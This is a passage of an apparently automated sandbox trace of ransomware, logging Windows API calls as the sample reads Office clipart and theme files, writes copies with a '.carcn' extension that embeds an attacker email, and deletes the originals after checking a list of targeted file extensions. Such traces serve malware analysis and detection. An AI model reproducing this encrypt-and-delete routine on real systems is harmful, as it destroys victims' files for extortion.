office\\root\\clipart\\pub60cor\\outdr_01.mid.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8 [0273.113] GetLastError () returned 0x0 [0273.113] ReadFile (in: hFile=0x528, lpBuffer=0x43a5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cffecc, lpOverlapped=0x0 | out: lpBuffer=0x43a5020*, lpNumberOfBytesRead=0x3cffecc*=0x19f4, lpOverlapped=0x0) returned 1 [0273.195] WriteFile (in: hFile=0x4a8, lpBuffer=0x43a5020*, nNumberOfBytesToWrite=0x1a00, lpNumberOfBytesWritten=0x3cffc94, lpOverlapped=0x0 | out: lpBuffer=0x43a5020*, lpNumberOfBytesWritten=0x3cffc94*=0x1a00, lpOverlapped=0x0) returned 1 [0273.196] ReadFile (in: hFile=0x528, lpBuffer=0x43a5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cffecc, lpOverlapped=0x0 | out: lpBuffer=0x43a5020*, lpNumberOfBytesRead=0x3cffecc*=0x0, lpOverlapped=0x0) returned 1 [0273.196] WriteFile (in: hFile=0x4a8, lpBuffer=0x43a5020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3cffc94, lpOverlapped=0x0 | out: lpBuffer=0x43a5020*, lpNumberOfBytesWritten=0x3cffc94*=0xec, lpOverlapped=0x0) returned 1 [0273.196] SetEndOfFile (hFile=0x4a8) returned 1 [0273.196] CloseHandle (hObject=0x4a8) returned 1 [0273.196] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0273.196] SetEndOfFile (hFile=0x528) returned 1 [0273.199] CloseHandle (hObject=0x528) returned 1 [0273.199] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OUTDR_01.MID.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0273.199] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OUTDR_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\outdr_01.mid")) returned 1 [0273.200] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OUTDR_01.MID") returned 68 [0273.200] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OUTDR_01.MID") returned 68 [0273.200] lstrlenW (lpString=".doc") returned 4 [0273.200] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0273.200] lstrlenW (lpString=".docx") returned 5 [0273.200] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0273.200] lstrlenW (lpString=".pdf") returned 4 [0273.200] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0273.200] lstrlenW (lpString=".xls") returned 4 [0273.200] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0273.201] lstrlenW (lpString=".xlsx") returned 5 [0273.201] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0273.201] lstrlenW (lpString=".ppt") returned 4 [0273.201] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0273.201] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OUTDR_01.MID") returned 68 [0273.201] lstrlenW (lpString=".zip") returned 4 [0273.201] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0273.201] lstrlenW (lpString=".rar") returned 4 [0273.201] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0273.201] lstrlenW (lpString=".bz2") returned 4 [0273.201] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0273.201] lstrlenW (lpString=".7z") returned 3 [0273.201] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0273.201] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OUTDR_01.MID") returned 68 [0273.201] lstrlenW (lpString=".dbf") returned 4 [0273.201] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0273.202] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OUTDR_01.MID") returned 68 [0273.202] lstrlenW (lpString=".1cd") returned 4 [0273.202] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0273.202] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OUTDR_01.MID") returned 68 [0273.202] lstrlenW (lpString=".jpg") returned 4 [0273.202] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0273.202] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OUTDR_01.MID") returned 68 [0273.202] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OUTDR_01.MID") returned 68 [0273.202] lstrlenW (lpString=".doc") returned 4 [0273.202] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0273.202] lstrlenW (lpString=".docx") returned 5 [0273.202] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0273.202] lstrlenW (lpString=".pdf") returned 4 [0273.202] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0273.202] lstrlenW (lpString=".xls") returned 4 [0273.202] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0273.202] lstrlenW (lpString=".xlsx") returned 5 [0273.202] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0273.202] lstrlenW (lpString=".ppt") returned 4 [0273.202] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0273.202] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OUTDR_01.MID") returned 68 [0273.202] lstrlenW (lpString=".zip") returned 4 [0273.203] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0273.203] lstrlenW (lpString=".rar") returned 4 [0273.203] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0273.203] lstrlenW (lpString=".bz2") returned 4 [0273.203] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0273.203] lstrlenW (lpString=".7z") returned 3 [0273.203] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0273.203] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OUTDR_01.MID") returned 68 [0273.203] lstrlenW (lpString=".dbf") returned 4 [0273.203] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0273.203] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OUTDR_01.MID") returned 68 [0273.203] lstrlenW (lpString=".1cd") returned 4 [0273.203] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0273.203] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OUTDR_01.MID") returned 68 [0273.203] lstrlenW (lpString=".jpg") returned 4 [0273.203] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0273.204] lstrcmpiW (lpString1=".MID", lpString2=".carcn") returned 1 [0273.204] lstrlenW (lpString="PARNT_08.MID") returned 12 [0273.204] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_08.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_08.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0273.206] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x3cfff14 | out: lpFileSize=0x3cfff14*=7347) returned 1 [0273.206] CloseHandle (hObject=0x528) returned 1 [0273.206] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_08.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_08.mid")) returned 0x220 [0273.206] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_08.MID.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_08.mid.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0273.206] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_08.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_08.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0273.206] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0273.206] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0273.207] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_08.MID.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_08.mid.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8 [0273.207] GetLastError () returned 0x0 [0273.207] ReadFile (in: hFile=0x528, lpBuffer=0x43a5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cffecc, lpOverlapped=0x0 | out: lpBuffer=0x43a5020*, lpNumberOfBytesRead=0x3cffecc*=0x1cb3, lpOverlapped=0x0) returned 1 [0273.338] WriteFile (in: hFile=0x4a8, lpBuffer=0x43a5020*, nNumberOfBytesToWrite=0x1cc0, lpNumberOfBytesWritten=0x3cffc94, lpOverlapped=0x0 | out: lpBuffer=0x43a5020*, lpNumberOfBytesWritten=0x3cffc94*=0x1cc0, lpOverlapped=0x0) returned 1 [0273.339] ReadFile (in: hFile=0x528, lpBuffer=0x43a5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cffecc, lpOverlapped=0x0 | out: lpBuffer=0x43a5020*, lpNumberOfBytesRead=0x3cffecc*=0x0, lpOverlapped=0x0) returned 1 [0273.339] WriteFile (in: hFile=0x4a8, lpBuffer=0x43a5020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3cffc94, lpOverlapped=0x0 | out: lpBuffer=0x43a5020*, lpNumberOfBytesWritten=0x3cffc94*=0xec, lpOverlapped=0x0) returned 1 [0273.339] SetEndOfFile (hFile=0x4a8) returned 1 [0273.340] CloseHandle (hObject=0x4a8) returned 1 [0273.340] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0273.340] SetEndOfFile (hFile=0x528) returned 1 [0273.344] CloseHandle (hObject=0x528) returned 1 [0273.344] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_08.MID.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0273.347] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_08.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_08.mid")) returned 1 [0273.364] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_08.MID") returned 68 [0273.364] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_08.MID") returned 68 [0273.364] lstrlenW (lpString=".doc") returned 4 [0273.364] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0273.364] lstrlenW (lpString=".docx") returned 5 [0273.364] lstrcmpiW (lpString1=".docx", lpString2="8.MID") returned -1 [0273.364] lstrlenW (lpString=".pdf") returned 4 [0273.364] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0273.364] lstrlenW (lpString=".xls") returned 4 [0273.364] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0273.364] lstrlenW (lpString=".xlsx") returned 5 [0273.364] lstrcmpiW (lpString1=".xlsx", lpString2="8.MID") returned -1 [0273.364] lstrlenW (lpString=".ppt") returned 4 [0273.364] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0273.364] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_08.MID") returned 68 [0273.364] lstrlenW (lpString=".zip") returned 4 [0273.364] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0273.364] lstrlenW (lpString=".rar") returned 4 [0273.364] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0273.364] lstrlenW (lpString=".bz2") returned 4 [0273.364] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0273.364] lstrlenW (lpString=".7z") returned 3 [0273.364] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0273.365] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_08.MID") returned 68 [0273.365] lstrlenW (lpString=".dbf") returned 4 [0273.365] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0273.365] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_08.MID") returned 68 [0273.365] lstrlenW (lpString=".1cd") returned 4 [0273.365] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0273.365] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_08.MID") returned 68 [0273.365] lstrlenW (lpString=".jpg") returned 4 [0273.365] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0273.365] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_08.MID") returned 68 [0273.365] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_08.MID") returned 68 [0273.365] lstrlenW (lpString=".doc") returned 4 [0273.365] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0273.365] lstrlenW (lpString=".docx") returned 5 [0273.365] lstrcmpiW (lpString1=".docx", lpString2="8.MID") returned -1 [0273.365] lstrlenW (lpString=".pdf") returned 4 [0273.365] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0273.366] lstrlenW (lpString=".xls") returned 4 [0273.366] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0273.366] lstrlenW (lpString=".xlsx") returned 5 [0273.366] lstrcmpiW (lpString1=".xlsx", lpString2="8.MID") returned -1 [0273.366] lstrlenW (lpString=".ppt") returned 4 [0273.366] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0273.366] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_08.MID") returned 68 [0273.367] lstrlenW (lpString=".zip") returned 4 [0273.367] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0273.367] lstrlenW (lpString=".rar") returned 4 [0273.367] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0273.367] lstrlenW (lpString=".bz2") returned 4 [0273.367] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0273.367] lstrlenW (lpString=".7z") returned 3 [0273.367] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0273.367] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_08.MID") returned 68 [0273.367] lstrlenW (lpString=".dbf") returned 4 [0273.368] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0273.368] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_08.MID") returned 68 [0273.368] lstrlenW (lpString=".1cd") returned 4 [0273.368] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0273.368] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_08.MID") returned 68 [0273.368] lstrlenW (lpString=".jpg") returned 4 [0273.368] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0273.368] lstrcmpiW (lpString1=".MID", lpString2=".carcn") returned 1 [0273.368] lstrlenW (lpString="ROAD_01.MID") returned 11 [0273.368] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ROAD_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\road_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0273.402] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x3cfff14 | out: lpFileSize=0x3cfff14*=5983) returned 1 [0273.402] CloseHandle (hObject=0x548) returned 1 [0273.402] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ROAD_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\road_01.mid")) returned 0x220 [0275.968] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ROAD_01.MID.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\road_01.mid.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0275.968] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ROAD_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\road_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8 [0275.969] SetFilePointerEx (in: hFile=0x4a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0275.969] SetFilePointerEx (in: hFile=0x4a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0275.969] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ROAD_01.MID.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\road_01.mid.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0275.969] GetLastError () returned 0x0 [0275.970] ReadFile (in: hFile=0x4a8, lpBuffer=0x43a5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cffecc, lpOverlapped=0x0 | out: lpBuffer=0x43a5020*, lpNumberOfBytesRead=0x3cffecc*=0x175f, lpOverlapped=0x0) returned 1 [0276.224] WriteFile (in: hFile=0x550, lpBuffer=0x43a5020*, nNumberOfBytesToWrite=0x1760, lpNumberOfBytesWritten=0x3cffc94, lpOverlapped=0x0 | out: lpBuffer=0x43a5020*, lpNumberOfBytesWritten=0x3cffc94*=0x1760, lpOverlapped=0x0) returned 1 [0276.225] ReadFile (in: hFile=0x4a8, lpBuffer=0x43a5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cffecc, lpOverlapped=0x0 | out: lpBuffer=0x43a5020*, lpNumberOfBytesRead=0x3cffecc*=0x0, lpOverlapped=0x0) returned 1 [0276.225] WriteFile (in: hFile=0x550, lpBuffer=0x43a5020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x3cffc94, lpOverlapped=0x0 | out: lpBuffer=0x43a5020*, lpNumberOfBytesWritten=0x3cffc94*=0xea, lpOverlapped=0x0) returned 1 [0276.226] SetEndOfFile (hFile=0x550) returned 1 [0276.226] CloseHandle (hObject=0x550) returned 1 [0276.226] SetFilePointerEx (in: hFile=0x4a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0276.226] SetEndOfFile (hFile=0x4a8) returned 1 [0276.230] CloseHandle (hObject=0x4a8) returned 1 [0276.230] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ROAD_01.MID.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0277.068] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ROAD_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\road_01.mid")) returned 1 [0278.363] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ROAD_01.MID") returned 67 [0278.557] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ROAD_01.MID") returned 67 [0278.557] lstrlenW (lpString=".doc") returned 4 [0278.557] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0278.557] lstrlenW (lpString=".docx") returned 5 [0278.557] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0278.557] lstrlenW (lpString=".pdf") returned 4 [0278.557] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0278.557] lstrlenW (lpString=".xls") returned 4 [0278.557] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0278.557] lstrlenW (lpString=".xlsx") returned 5 [0278.557] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0278.557] lstrlenW (lpString=".ppt") returned 4 [0278.557] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0278.557] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ROAD_01.MID") returned 67 [0278.558] lstrlenW (lpString=".zip") returned 4 [0278.558] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0278.558] lstrlenW (lpString=".rar") returned 4 [0278.558] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0278.558] lstrlenW (lpString=".bz2") returned 4 [0278.558] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0278.560] lstrlenW (lpString=".7z") returned 3 [0278.560] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0278.563] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ROAD_01.MID") returned 67 [0278.563] lstrlenW (lpString=".dbf") returned 4 [0278.563] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0278.563] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ROAD_01.MID") returned 67 [0278.563] lstrlenW (lpString=".1cd") returned 4 [0278.563] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0278.563] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ROAD_01.MID") returned 67 [0278.563] lstrlenW (lpString=".jpg") returned 4 [0278.563] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0278.566] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ROAD_01.MID") returned 67 [0278.566] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ROAD_01.MID") returned 67 [0278.566] lstrlenW (lpString=".doc") returned 4 [0278.566] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0278.566] lstrlenW (lpString=".docx") returned 5 [0278.566] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0278.566] lstrlenW (lpString=".pdf") returned 4 [0278.566] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0278.566] lstrlenW (lpString=".xls") returned 4 [0278.567] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0278.567] lstrlenW (lpString=".xlsx") returned 5 [0278.567] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0278.567] lstrlenW (lpString=".ppt") returned 4 [0278.567] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0278.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ROAD_01.MID") returned 67 [0278.567] lstrlenW (lpString=".zip") returned 4 [0278.567] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0278.567] lstrlenW (lpString=".rar") returned 4 [0278.567] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0278.567] lstrlenW (lpString=".bz2") returned 4 [0278.567] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0278.567] lstrlenW (lpString=".7z") returned 3 [0278.567] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0278.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ROAD_01.MID") returned 67 [0278.567] lstrlenW (lpString=".dbf") returned 4 [0278.567] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0278.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ROAD_01.MID") returned 67 [0278.567] lstrlenW (lpString=".1cd") returned 4 [0278.567] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0278.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ROAD_01.MID") returned 67 [0278.567] lstrlenW (lpString=".jpg") returned 4 [0278.567] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0278.568] lstrcmpiW (lpString1=".eftx", lpString2=".carcn") returned 1 [0278.568] lstrlenW (lpString="Top Shadow.eftx") returned 15 [0278.568] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Top Shadow.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\top shadow.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x43c [0278.571] GetFileSizeEx (in: hFile=0x43c, lpFileSize=0x3cfff14 | out: lpFileSize=0x3cfff14*=56944) returned 1 [0278.572] CloseHandle (hObject=0x43c) returned 1 [0278.572] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Top Shadow.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\top shadow.eftx")) returned 0x220 [0278.573] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Top Shadow.eftx.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\top shadow.eftx.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0278.573] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Top Shadow.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\top shadow.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x43c [0278.573] SetFilePointerEx (in: hFile=0x43c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0278.573] SetFilePointerEx (in: hFile=0x43c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0278.573] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Top Shadow.eftx.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\top shadow.eftx.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0278.575] GetLastError () returned 0x0 [0278.575] ReadFile (in: hFile=0x43c, lpBuffer=0x43a5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cffecc, lpOverlapped=0x0 | out: lpBuffer=0x43a5020*, 